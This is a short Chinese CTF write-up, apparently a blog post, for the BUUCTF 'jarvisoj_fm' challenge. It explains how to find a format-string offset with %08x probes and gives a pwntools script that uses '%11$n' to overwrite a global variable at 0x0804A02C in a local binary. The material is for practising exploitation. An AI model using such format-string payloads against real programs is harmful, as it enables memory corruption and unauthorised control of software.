存在格式化字符串漏洞

buuctf jarvisoj_fm

而实际上x的值为3

buuctf jarvisoj_fm

需要通过格式化字符串漏洞来重写x的值

使用aaaa %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x测试格式化字符串漏洞长度

buuctf jarvisoj_fm

格式化字符串的漏洞的任意写地址长度为11。可以使用$n来写地址中的数据。使用%11$n,意思将0x0804A02C的x地址写入32位大小的一个字节,正好是地址长度,可以编写代码如下:

from pwn import *
p = process('./fm')
payload = p32(0x0804A02C)+"%11$n"
p.sendline(payload)
p.interactive()
 

相关文章:

  • 2021-03-30
  • 2021-08-24
  • 2021-07-25
  • 2021-12-22
  • 2022-01-20
  • 2021-05-13
  • 2022-01-16
  • 2021-04-21
猜你喜欢
  • 2021-07-02
  • 2022-12-23
  • 2021-12-18
  • 2021-12-18
  • 2021-08-18
  • 2021-08-23
  • 2021-07-07
相关资源
相似解决方案